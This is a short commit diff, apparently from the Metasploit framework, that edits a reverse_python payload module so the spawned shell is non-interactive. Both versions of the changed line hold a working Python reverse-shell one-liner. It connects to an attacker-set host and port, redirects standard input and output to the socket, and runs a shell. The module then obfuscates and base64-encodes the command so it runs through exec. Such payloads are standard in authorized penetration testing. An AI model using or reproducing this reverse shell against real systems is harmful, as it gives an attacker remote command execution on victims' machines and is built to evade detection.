Land #4864 @wvu-r7 changes reverse_python to be non-interactive
This avoids sourcing the shell RC scripts, writing history, etc.bug/bundler_fix
commit
4b54517b95
|
@ -50,7 +50,7 @@ module Metasploit3
|
|||
#
|
||||
|
||||
def command_string
|
||||
raw_cmd = "import socket,subprocess,os;host=\"#{datastore['LHOST']}\";port=#{datastore['LPORT']};s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"#{datastore['SHELL']}\",\"-i\"]);"
|
||||
raw_cmd = "import socket,subprocess,os;host=\"#{datastore['LHOST']}\";port=#{datastore['LPORT']};s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\"#{datastore['SHELL']}\")"
|
||||
obfuscated_cmd = raw_cmd.gsub(/,/, "#{random_padding},#{random_padding}").gsub(/;/, "#{random_padding};#{random_padding}")
|
||||
encoded_cmd = Rex::Text.encode_base64(obfuscated_cmd)
|
||||
"python -c \"exec('#{encoded_cmd}'.decode('base64'))\""
|
||||
|
|
Loading…
Reference in New Issue